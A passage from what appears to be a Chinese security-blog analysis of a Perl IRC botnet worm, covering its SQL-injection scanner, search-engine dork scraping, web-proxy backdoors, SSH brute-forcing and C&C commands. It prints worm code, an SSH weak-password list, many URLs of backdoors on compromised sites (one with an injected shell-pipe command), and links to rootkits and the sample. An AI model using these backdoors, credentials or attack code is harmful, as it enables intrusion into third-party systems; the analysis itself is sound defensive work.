                      foreach $tabla(@tabele)
                             {
                               chomp($tabla);
                               $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                              $response=get($sql)or die("[-] Impossible to get tables\n");
                               if($response =~ /loginpwnz/)
                                      {
                                      $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                              &msg("$chan","
0,1$sqllogo(4@3$engine15)15(13@12SQL15)(4@14Tabel14)9 $sql  ");                                      }
                             }
           }
   }
}

还有wordpress等等这里不一一列举额。

(2)、代理与采集

蠕虫感染一个bot后,这个bot就有可能成为一个web代理,代理主要是让漏洞扫描的bot通过这些开通web代理的bot组成的bot网络来采集域名,为后续攻击提供目标。

据不完全统计,找到1095个web代理的bot,假设某天这1000个代理每个采集10W个域名,假设漏洞利用成功率是一万分之一,那么该蠕虫网络这一天就能入侵1万个网站或主机,而且蠕虫感染量一定会是指数型增长,让人不寒而栗。

通过浏览器随便找个代理看看,有多种web代理如rfi,socks5呀等等,因为有的网站权限不高或者禁止一些功能,那蠕虫会想办法bypass或者找一个替代方法。php里file_get_contents 可以做代理,下图是用fsockopen 作的代理,因为没有传参数,所以报了警告。

这个是php写的一个代理网页,蠕虫感染一个网站后会根据控制端指令把代理网页上传到网站里,并且取一个具有迷惑性的名字。

我在蠕虫的代理列表里随机找一个代理,通过代理访问一下google,图片什么的都加载得很完善,说明这个php代理程序已经很成熟了。

通过这个代理网络bot访问数百个搜索引擎,进行dork采集,采集完域名用后上面的web漏洞利用模块扫描,尝试getshell。

my $engine = "JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,JacKES,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA,JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,
GooGLe,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,
WaLLa,YaHoo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,
AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,dogpile,LyCos,HotBot,BigLobe,SeZNam,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,
AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK";

分不同的地域,采集不同语言的搜索引擎例如,下面是yahoo某国家的搜索代码:

sub yahooCO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=100) {
        my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=co&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
            my $link = $1;
            if ($link!~ /yahooCO/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

这里分享出来部分在线web代理后门,可以访问google等

http://www.ultimartinsurance.co.uk/plugins/editors/errors.php

http://greenpowerguy.com/blog/wp-content/themes/error.php


http://www.viverosgimeno.es/wp-content/rac/bss.txt%20|%20sh%20>%20/dev/null%202>&1%20&


http://www.muliaperkasaabadi.com/images/stories/errors.php?____pgfa=http%253A%252F%252Fwww.google.com.co%252Fsearch?q=


http://www.plw.pl/error.php?____pgfa=http%253A%252F%252Fwww.google.pl%252Fsearch?q=


http://www.modelismonaval.com/components/com_user/class-mail.php?____pgfa=http%253A%252F%252Fwww.google.co.th%252Fsearch?q=


http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c


http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php


http://www.iscavets.be/administrator/components/com_weblinks/views/errors.php


http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php


http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php


http://szukaj.onet.pl/


http://www.villaholidaycentre.co.uk/includes/js/calendar/lang/seka.php


http://ktperformance.com/plugins/tmp/index.php?q=


http://s195003287.online.de/Platz/administrator/templates/index2.php


http://www.payan.com.co/images/module.php


http://www.dogpile.com/info.dogpl.t2.7/search/web?qsi=


http://www.formentera-guitars.com/components/com_content/views/section/tmpl/page-sidebar.php


http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz


http://s195003287.online.de/Platz/administrator/templates/index2.php?____pgfa=http%253A%252F%252Fwww.google.de%252Fsearch?q=


http://www.2-in-stuttgart.de/language/presents.php?q=


http://www.nspj-solec.pl/wp-content/plugins/4nt-crew8.php?q=


http://wirelessgroup.it/system/cms/error.php


http://www.pkstorages.com//plugins/content/seka.php

http://matviyiv.yesportal.com/wp-includes/error.php

(3)、zmeu、端口扫描和ssh爆破

Zmeu是针对phpmyadmin的一个蠕虫,利用一些漏洞获得数据配置文件或直接执行php代码。该蠕虫早再2011年就被人发现,但是没有捕获到原程序,这里我们找到了一个elf样本。可以参考下面连接

https://ensourced.wordpress.com/2011/02/25/zmeu-attacks-some-basic-forensic/

ssh爆破模块包括以下几个文件,pass.txt是字典,ssh2是个不知其名最新版的ssh爆破

1000个常用ssh弱口令,样本如下

oracle testuser
osmc osmc
party party
paul paul
pgsql pgsql
pgsql pgsql123
pi htpguides
pi raspberry
PlcmSpIp PlcmSpIp
plexuser rasplex
popa3d popa3d
pop pop
postfix postfix
postgres postgres
postgres postgresff
postmaster postmaster
proxy proxy
public public
qtss qtss
r00t r00t
r00t r00t123
radiomail radiomail
recruit recruit
redhat 1234
redhat redhat
redhat redhat123
richard richard
robert robert
root @#$%^&*!()
root 0000
root 00000
root 000000
root 000000000
root0 root0
root 10101010
root 111111
root 112233
root 123123
root 123321
root 1234
root 12345
root 123456
root 1234567
。。。。。。。。。

ssh爆破程序:

文件ss是一个高效率端口扫描程序,该程序会随机在ipv4地址空间寻找ip扫描开放指定的端口号的ip。

pscan2是一个小巧的端口扫描程序,

源码可参考https://code.google.com/p/caffsec-malware-analysis/source/browse/trunk/mIRChack/pscan2.c?r=47

(4)、CC模块

Command指令包括:

攻击用的webapp 漏洞扫描,
socks代理,
端口扫描,
sql注入,
发送邮件,
清理日志,
本地提权,
nmap扫描,
反弹shell;
文档查阅,抓取packetstorm漏洞信息等等;
DDOS攻击,udp ,tcp ,http,sql 洪水攻击;
IRC通信模块;
洪水攻击模块;

先看帮助,不得不感叹 ,这简直是一个僵尸网络生态系统,蠕虫上竟然有抓取黑客新闻的指令!

下面仅仅把每个模块感兴趣的部分代码摘出来。

#获取操作系统系统信息


#perl脚本端口扫描指令

# 从PacketStorm抓取新闻

#安装socks5代理

#用nmap扫描

#清理日志

#sql注入扫描:批量用关键词如sql数据报错信息,从搜索引擎上抓取连接,然后通过注入获得数据库用户名密码则算成功利用


#检查是否能linxu提权,内核版本和提权脚本对照表

#针对数据库服务器的flood攻击

#海量网站漏洞扫描

在源码里找到了IRC控制端的ip,我们通过浏览器访问一下IRC控制端口,虽然协议不一致,但是也输出了一些信息,我们浏览器伪造的bot还没有注册到这个IRC服务器。


(5)、其他

还发现了用短信网关发送短信模块

IRC服务器程序,当蠕虫数目很多并且分布全球各地的时候,各个节点间通信可能不会很流畅,所以要在某些节点上安装IRC服务器,然后这些irc服务器组成一个很大的irc网络,方便管理。(IRC最初是为聊天设计的协议,现在很多病毒,蠕虫使用该协议。IRC是Internet Relay Chat 的英文缩写,中文一般称为互联网中继聊天。它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展,目前世界上有超过60个国家提供了IRC的服务。IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到一台IRC服务器上即可。http://baike.baidu.com/link?url=RQ8vHzSA4kyllwt4u8JJQaGximP0ojqtt-3oovWxAWznLgkw8pslmFbMDjkAOCgmQRMLIraGe0PtZC6kIJQHd_)

这个蠕虫还有其他更强大的功能,我把涉及的东西都分享出来,有兴趣的朋友可以深入分析(至少你可以找到1000个在线免费代理哦,从txt里找)。百度网盘地址http://pan.baidu.com/s/1o7bqbyi

*作者:KibodWapon,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

相关推荐

这些评论亮了

  • 傻蛋科技 回复
    白帽子们还在等什么!还不快来傻蛋搜索哪些网站用了wordpress、joomla、phpmyadmin!
    )21( 亮了
  • RainismG 回复
    回复 的赞:老婆,你看懂了?
    )12( 亮了
  • @ singlewolf  实不相瞒,我vps蜜罐部署几年了,被黑了才好。 :razz:
    )11( 亮了
  • @ Sh@doM 蠕虫作者的确是做黑产的,据说ddos打网站很挣钱。
    )10( 亮了
  • D01phin (1级) 这家伙很懒,只留下一只海豚,哈哈! 回复
    这个病毒样本太棒了!可以好好分析一下!
    )9( 亮了
发表评论

已有 26 条评论

取消
Loading...

这家伙太懒,还未填写个人描述!

2 文章数 6 评论数 1 关注者

文章目录

    特别推荐

    推荐关注

    官方公众号

    聚焦企业安全

    填写个人信息

    姓名
    电话
    邮箱
    公司
    行业
    职位
    css.php